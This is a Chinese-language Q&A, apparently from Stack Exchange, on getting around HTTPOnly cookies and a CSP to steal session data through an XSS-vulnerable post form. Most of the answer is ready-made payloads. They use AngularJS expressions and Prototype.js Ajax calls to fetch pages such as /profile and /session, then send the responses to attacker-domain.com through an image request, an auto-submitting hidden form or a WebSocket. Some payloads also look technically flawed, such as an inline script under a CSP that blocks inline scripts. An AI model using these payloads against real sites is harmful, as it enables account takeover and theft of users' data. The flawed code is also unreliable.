启用HTTPOnly与CSP时的XSS Cookie窃取:可行方法问询
当目标站点启用HTTPOnly Cookie且配置了指定CSP规则时,攻击者拥有一个存在XSS漏洞的HTTP输入字段(如下方发帖表单的内容输入框),如何实现Cookie窃取?
给定表单代码:
<form action="/createThread?topic={{lcTopic}}" method="post" class=""> <h2 class="text-muted">New Thread</h2> <hr> <div class="form-group"> <label>Body</label> <textarea type="text" rows="10" class="form-control" name="body" placeholder="Type the body of your thread here..."></textarea> </div> <button type="submit" class="btn btn-primary">Create Thread</button> <button type="button" id="threadPreview" class="btn btn-default">Preview</button> </form>
服务器CSP规则配置:
.use( helmet.contentSecurityPolicy({ directives: { defaultSrc: ["'self'"], scriptSrc: [ "'self'", "cdnjs.cloudflare.com" ], }, }) )
攻击者已可通过注入如下代码绕过CSP:
<!DOCTYPE html> <html> <head> <title>XSS Demo</title> <SCRIPT src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></SCRIPT> <SCRIPT src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js"></SCRIPT> </head> <body ng-app ng-csp> <div> <button ng-click="$on.curry.call().alert('xss')">Click Me! </button> <div style="display:none;"> {{$on.curry.call().alert('xss')}} </div> </div> </body> </html>
但由于HTTPOnly启用,常规alert(document.cookie)无法获取Cookie;尝试使用eval结合fetch的方法也因CSP限制'unsafe-eval'而失败。请问攻击者仅利用该输入字段、不修改服务器代码的情况下,还有哪些Cookie窃取方法?
虽然无法直接读取HTTPOnly Cookie,但可以利用浏览器自动携带Cookie的特性,结合已绕过CSP的AngularJS/Prototype.js能力,通过窃取会话对应的敏感数据间接实现身份盗用,具体方法如下:
利用AngularJS表达式发起同源请求外传敏感数据
借助已加载的AngularJS,通过表达式调用$http发起同源请求(浏览器会自动携带HTTPOnly Cookie完成身份验证),获取目标站点返回的用户敏感数据(如个人信息、会话关联的身份标识),再通过Image标签将数据发送到攻击者控制的服务器:<div style="display:none;"> {{$on.curry.call().$http.get('/profile').then(function(res){ new Image().src='https://attacker-domain.com/steal?data='+encodeURIComponent(JSON.stringify(res.data)) })}} </div>该方法无需
eval,完全符合当前CSP规则(依赖已允许加载的AngularJS)。通过Prototype.js的Ajax能力获取数据并外传
利用已加载的Prototype.js的Ajax.Request发起同源请求,获取身份验证后的响应数据,再通过创建Image对象将数据外传:<script> new Ajax.Request('/user-info', { onSuccess: function(response) { const img = new Image(); img.src = 'https://attacker-domain.com/steal?data=' + encodeURIComponent(response.responseText); } }); </script>Prototype.js在CSP允许的域名列表中,因此该代码可正常执行,且同源请求会自动携带HTTPOnly Cookie。
构造自动提交表单外传会话数据
构造一个隐藏表单,通过AngularJS表达式填充同源请求获取的敏感数据,再自动提交到攻击者服务器:<form action="https://attacker-domain.com/steal" method="POST" id="stealForm" style="display:none;"> <input type="hidden" name="userData" value="{{$on.curry.call().$http.get('/session').then(res => res.data)}}"> </form> <script> document.getElementById('stealForm').submit(); </script>表单提交操作不受CSP限制,且通过同源请求拿到的会话关联数据可直接用于冒充用户身份。
利用WebSocket传输敏感数据
若浏览器支持WebSocket,可通过AngularJS表达式发起WebSocket连接到攻击者服务器,将同源请求获取的敏感数据实时传输:<div style="display:none;"> {{$on.curry.call().$http.get('/profile').then(function(res){ const ws = new WebSocket('wss://attacker-domain.com/ws'); ws.onopen = () => ws.send(JSON.stringify(res.data)); })}} </div>WebSocket传输无需依赖
fetch或eval,且数据传输效率更高。
内容的提问来源于stack exchange,提问作者ZedORYasuo

